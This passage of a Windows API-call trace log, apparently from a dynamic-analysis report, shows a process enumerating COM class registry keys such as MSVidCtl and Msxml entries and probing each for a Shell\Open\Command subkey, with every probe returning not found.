RegCloseKey (hKey=0x0) returned 0x6 [0100.970] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9bd, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidBDATunerDevice") returned 0x0 [0100.970] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidBDATunerDevice\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.970] RegCloseKey (hKey=0x0) returned 0x6 [0100.970] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9be, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidBDATunerDevice.1") returned 0x0 [0100.970] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidBDATunerDevice.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.970] RegCloseKey (hKey=0x0) returned 0x6 [0100.970] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9bf, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidCCA") returned 0x0 [0100.970] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidCCA\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.970] RegCloseKey (hKey=0x0) returned 0x6 [0100.970] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c0, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidCCA.1") returned 0x0 [0100.970] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidCCA.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.970] RegCloseKey (hKey=0x0) returned 0x6 [0100.970] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c1, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidClosedCaptioning") returned 0x0 [0100.970] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidClosedCaptioning\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.971] RegCloseKey (hKey=0x0) returned 0x6 [0100.971] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c2, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidClosedCaptioning.1") returned 0x0 [0100.971] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidClosedCaptioning.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.971] SetLastError (dwErrCode=0x2) [0100.971] RegCloseKey (hKey=0x0) returned 0x6 [0100.971] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c3, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidClosedCaptioningSI") returned 0x0 [0100.971] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidClosedCaptioningSI\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.971] SetLastError (dwErrCode=0x2) [0100.971] RegCloseKey (hKey=0x0) returned 0x6 [0100.971] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c4, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidClosedCaptioningSI.1") returned 0x0 [0100.971] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidClosedCaptioningSI.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.971] SetLastError (dwErrCode=0x2) [0100.971] RegCloseKey (hKey=0x0) returned 0x6 [0100.971] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c5, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidCtl") returned 0x0 [0100.971] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.971] SetLastError (dwErrCode=0x2) [0100.971] RegCloseKey (hKey=0x0) returned 0x6 [0100.971] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c6, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidCtl.1") returned 0x0 [0100.971] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.971] SetLastError (dwErrCode=0x2) [0100.971] RegCloseKey (hKey=0x0) returned 0x6 [0100.971] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c7, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidEncoder") returned 0x0 [0100.971] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidEncoder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.972] SetLastError (dwErrCode=0x2) [0100.972] RegCloseKey (hKey=0x0) returned 0x6 [0100.972] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c8, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidEncoder.1") returned 0x0 [0100.972] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidEncoder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.972] SetLastError (dwErrCode=0x2) [0100.972] RegCloseKey (hKey=0x0) returned 0x6 [0100.972] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c9, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidFeatures") returned 0x0 [0100.972] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidFeatures\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.972] SetLastError (dwErrCode=0x2) [0100.972] RegCloseKey (hKey=0x0) returned 0x6 [0100.972] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ca, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidFeatures.1") returned 0x0 [0100.972] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidFeatures.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.972] SetLastError (dwErrCode=0x2) [0100.972] RegCloseKey (hKey=0x0) returned 0x6 [0100.972] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9cb, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidFilePlaybackDevice") returned 0x0 [0100.972] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidFilePlaybackDevice\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.972] SetLastError (dwErrCode=0x2) [0100.972] RegCloseKey (hKey=0x0) returned 0x6 [0100.972] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9cc, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidFilePlaybackDevice.1") returned 0x0 [0100.972] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidFilePlaybackDevice.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.972] SetLastError (dwErrCode=0x2) [0100.972] RegCloseKey (hKey=0x0) returned 0x6 [0100.972] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9cd, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidGenericSink") returned 0x0 [0100.972] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidGenericSink\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.973] SetLastError (dwErrCode=0x2) [0100.973] RegCloseKey (hKey=0x0) returned 0x6 [0100.973] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ce, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidGenericSink.1") returned 0x0 [0100.973] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidGenericSink.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.973] SetLastError (dwErrCode=0x2) [0100.973] RegCloseKey (hKey=0x0) returned 0x6 [0100.973] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9cf, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidInputDevices") returned 0x0 [0100.973] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidInputDevices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.973] SetLastError (dwErrCode=0x2) [0100.973] RegCloseKey (hKey=0x0) returned 0x6 [0100.973] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d0, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidInputDevices.1") returned 0x0 [0100.973] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidInputDevices.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.973] SetLastError (dwErrCode=0x2) [0100.973] RegCloseKey (hKey=0x0) returned 0x6 [0100.973] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d1, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidITVCapture") returned 0x0 [0100.973] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidITVCapture\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.973] SetLastError (dwErrCode=0x2) [0100.973] RegCloseKey (hKey=0x0) returned 0x6 [0100.973] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d2, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidITVCapture.1") returned 0x0 [0100.973] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidITVCapture.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.973] SetLastError (dwErrCode=0x2) [0100.973] RegCloseKey (hKey=0x0) returned 0x6 [0100.973] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d3, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidITVPlayback") returned 0x0 [0100.973] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidITVPlayback\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.974] RegCloseKey (hKey=0x0) returned 0x6 [0100.974] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d4, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidITVPlayback.1") returned 0x0 [0100.974] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidITVPlayback.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.974] RegCloseKey (hKey=0x0) returned 0x6 [0100.974] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d5, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidOutputDevices") returned 0x0 [0100.974] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidOutputDevices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.974] RegCloseKey (hKey=0x0) returned 0x6 [0100.974] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d6, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidOutputDevices.1") returned 0x0 [0100.974] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidOutputDevices.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.974] RegCloseKey (hKey=0x0) returned 0x6 [0100.974] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d7, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferRecordingControl") returned 0x0 [0100.974] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferRecordingControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.974] RegCloseKey (hKey=0x0) returned 0x6 [0100.974] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d8, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferRecordingControl.1") returned 0x0 [0100.974] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferRecordingControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.974] RegCloseKey (hKey=0x0) returned 0x6 [0100.974] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d9, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferSink") returned 0x0 [0100.974] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferSink\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.974] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.975] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9da, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferSink.1") returned 0x0 [0100.975] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferSink.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.975] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.975] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9db, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferSource") returned 0x0 [0100.975] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferSource\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.975] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.975] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9dc, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferSource.1") returned 0x0 [0100.975] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferSource.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.975] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.975] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9dd, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferV2Source") returned 0x0 [0100.975] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferV2Source\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.975] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.975] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9de, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidStreamBufferV2Source.1") returned 0x0 [0100.975] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidStreamBufferV2Source.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.975] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.975] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9df, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidVideoRenderer") returned 0x0 [0100.975] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidVideoRenderer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.975] SetLastError (dwErrCode=0x2) [0100.975] RegCloseKey (hKey=0x0) returned 0x6 [0100.976] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e0, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidVideoRenderer.1") returned 0x0 [0100.976] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidVideoRenderer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.976] SetLastError (dwErrCode=0x2) [0100.976] RegCloseKey (hKey=0x0) returned 0x6 [0100.976] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e1, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidVideoRendererDevices") returned 0x0 [0100.976] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidVideoRendererDevices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.976] SetLastError (dwErrCode=0x2) [0100.976] RegCloseKey (hKey=0x0) returned 0x6 [0100.976] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e2, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidVideoRendererDevices.1") returned 0x0 [0100.976] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidVideoRendererDevices.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.976] SetLastError (dwErrCode=0x2) [0100.976] RegCloseKey (hKey=0x0) returned 0x6 [0100.976] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e3, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidVMR9") returned 0x0 [0100.976] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidVMR9\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.976] SetLastError (dwErrCode=0x2) [0100.976] RegCloseKey (hKey=0x0) returned 0x6 [0100.976] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e4, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidVMR9.1") returned 0x0 [0100.976] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidVMR9.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.976] SetLastError (dwErrCode=0x2) [0100.976] RegCloseKey (hKey=0x0) returned 0x6 [0100.976] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e5, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidWebDVD") returned 0x0 [0100.976] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidWebDVD\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.976] SetLastError (dwErrCode=0x2) [0100.976] RegCloseKey (hKey=0x0) returned 0x6 [0100.977] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e6, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidWebDVD.1") returned 0x0 [0100.977] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidWebDVD.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.977] SetLastError (dwErrCode=0x2) [0100.977] RegCloseKey (hKey=0x0) returned 0x6 [0100.977] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e7, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidWebDVDAdm") returned 0x0 [0100.977] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidWebDVDAdm\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.977] SetLastError (dwErrCode=0x2) [0100.977] RegCloseKey (hKey=0x0) returned 0x6 [0100.977] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e8, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidWebDVDAdm.1") returned 0x0 [0100.977] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidWebDVDAdm.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.977] SetLastError (dwErrCode=0x2) [0100.977] RegCloseKey (hKey=0x0) returned 0x6 [0100.977] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e9, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml") returned 0x0 [0100.977] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.977] SetLastError (dwErrCode=0x2) [0100.977] RegCloseKey (hKey=0x0) returned 0x6 [0100.977] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ea, lpName=0x2eef50, cchName=0x104 | out: lpName="MSXML.DOMDocument") returned 0x0 [0100.977] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSXML.DOMDocument\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.977] SetLastError (dwErrCode=0x2) [0100.977] RegCloseKey (hKey=0x0) returned 0x6 [0100.977] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9eb, lpName=0x2eef50, cchName=0x104 | out: lpName="MSXML.FreeThreadedDOMDocument") returned 0x0 [0100.977] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSXML.FreeThreadedDOMDocument\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.977] SetLastError (dwErrCode=0x2) [0100.978] RegCloseKey (hKey=0x0) returned 0x6 [0100.978] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ec, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.DOMDocument") returned 0x0 [0100.978] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.DOMDocument\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.978] SetLastError (dwErrCode=0x2) [0100.978] RegCloseKey (hKey=0x0) returned 0x6 [0100.978] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ed, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.DOMDocument.3.0") returned 0x0 [0100.978] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.DOMDocument.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.978] SetLastError (dwErrCode=0x2) [0100.978] RegCloseKey (hKey=0x0) returned 0x6 [0100.978] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ee, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.DOMDocument.6.0") returned 0x0 [0100.978] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.DOMDocument.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.978] SetLastError (dwErrCode=0x2) [0100.978] RegCloseKey (hKey=0x0) returned 0x6 [0100.978] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ef, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.DSOControl") returned 0x0 [0100.978] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.DSOControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.978] SetLastError (dwErrCode=0x2) [0100.978] RegCloseKey (hKey=0x0) returned 0x6 [0100.978] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f0, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.DSOControl.3.0") returned 0x0 [0100.978] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.DSOControl.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.978] SetLastError (dwErrCode=0x2) [0100.978] RegCloseKey (hKey=0x0) returned 0x6 [0100.978] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f1, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.FreeThreadedDOMDocument") returned 0x0 [0100.978] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.FreeThreadedDOMDocument\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.979] SetLastError (dwErrCode=0x2) [0100.979] RegCloseKey (hKey=0x0) returned 0x6 [0100.979] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f2, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.FreeThreadedDOMDocument.3.0") returned 0x0 [0100.979] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.FreeThreadedDOMDocument.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.979] SetLastError (dwErrCode=0x2) [0100.979] RegCloseKey (hKey=0x0) returned 0x6 [0100.979] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f3, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.FreeThreadedDOMDocument.6.0") returned 0x0 [0100.979] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.FreeThreadedDOMDocument.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.979] SetLastError (dwErrCode=0x2) [0100.979] RegCloseKey (hKey=0x0) returned 0x6 [0100.979] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f4, 